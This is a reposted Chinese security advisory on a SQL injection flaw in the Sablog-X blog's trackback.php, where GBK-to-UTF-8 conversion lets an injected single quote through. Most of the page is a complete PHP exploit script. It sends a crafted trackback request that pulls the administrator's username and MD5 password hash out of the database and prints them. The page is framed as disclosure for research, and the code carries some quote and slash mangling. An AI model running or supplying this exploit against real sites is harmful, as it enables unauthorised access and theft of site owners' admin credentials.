安全天使sablog注射漏洞 's

admin 2017年4月21日10:28:20评论282 views字数 2634阅读8分46秒阅读模式
摘要

漏洞说明:Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞,导致远程用户通过SQL注射获得数据库权限,甚至获得管理员权限。

漏洞说明:Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞,导致远程用户通过SQL注射获得数据库权限,甚至获得管理员权限。

漏洞厂商:http://www.sablog.net

漏洞来源:http://www.80sec.com/release/sablog-sql-injection.txt

漏洞解析:在sablog的trackback.php中的转码函数

function iconv2utf($chs) { global $encode; if ($encode !=  'utf-8') { if (function_exists('mb_convert_encoding')) { $chs =  mb_convert_encoding($chs, 'UTF-8', $encode); } elseif  (function_exists('iconv')) { $chs = iconv($encode, 'UTF-8',  $chs); } } return $chs; } 

存在问题,当$encode为GBK字符集的时候,用户提交%bf’将会被转化为一个正常的utf-8字符和一个单引号,如果数据未加处理进入数据库将导致SQL注射。

漏洞利用:80sec提供漏洞测试程序如下:

#!/usr/bin/php <?php  print_r(' +---------------------------------------------------------------------------+ Sablog-X  <= 1.6 SQL injection / admin credentials disclosure exploit by  puret_t mail: puretot at gmail dot com team:  http://www.wolvez.org dork: "Powered by  SaBlog-X" +---------------------------------------------------------------------------+ '); /** *  works regardless of php.ini settings */ if ($argc < 3)  { print_r(' +---------------------------------------------------------------------------+ Usage:  php '.$argv[0].’ host path code host: target server (ip/hostname) path:  path to sablog-x code: the last blog trackback gbk code Example: php  ‘.$argv[0].’ localhost /sablog-x/  MQlnYmsJMTIxNzkyMzE0OAkw +—————————————————————————+ ‘); exit; }  error_reporting(7); ini_set(’max_execution_time’, 0);  $host = $argv[1]; $path = $argv[2]; $code = $argv[3];  $arr = explode(”/t”, base64_decode($code)); if (count($arr) !=  4) exit(”Exploit Failed!/n”);  $url = ‘http://’.$host.$path.’?action=show&id=’.$arr[0];  send(); preg_match(’#<a/shref=”1″/starget=”_blank”>([/S]+):([a-z0-9]{32})</a<#’,  file_get_contents($url), $hash);  if ($hash) exit(”Expoilt  Success!/nadmin:/t$hash[1]/nPassword(md5):/t$hash[2]/n”); else exit(”Exploit  Failed!/n”);  function send() { global $host, $path, $code;  $cmd =  ‘url=http://’.$host.$path.’&title=ryat%bf%27,’.time().’,1,1,(SELECT  CONCAT(username,0×3a,password) FROM sablog_users WHERE  userid=1),’.time().’,1,1)#&excerpt=ryat&blog_name=ryat’;  $message = “POST “.$path.”trackback.php?code=$code HTTP/1.1/r/n”; $message  .= “Accept: */*/r/n”; $message .= “Accept-Language: zh-cn/r/n”; $message  .= “Content-Type: application/x-www-form-urlencoded/r/n”; $message .=  “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1;  SV1)/r/n”; $message .= “Host: $host/r/n”; $message .= “Content-Length:  “.strlen($cmd).”/r/n”; $message .= “Connection: Close/r/n/r/n”; $message  .= $cmd;  $fp = fsockopen($host, 80); fputs($fp, $message);  $resp = ”;  while ($fp && !feof($fp)) $resp .= fread($fp, 1024);  return $resp; }  ?>

漏洞状态:请等待官方补丁。
本站内容均为原创,转载请务必保留署名与链接!
安全天使sablog注射漏洞:http://www.80sec.com/sablog-sql-injectio.html

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月21日10:28:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全天使sablog注射漏洞 'shttp://cn-sec.com/archives/45358.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息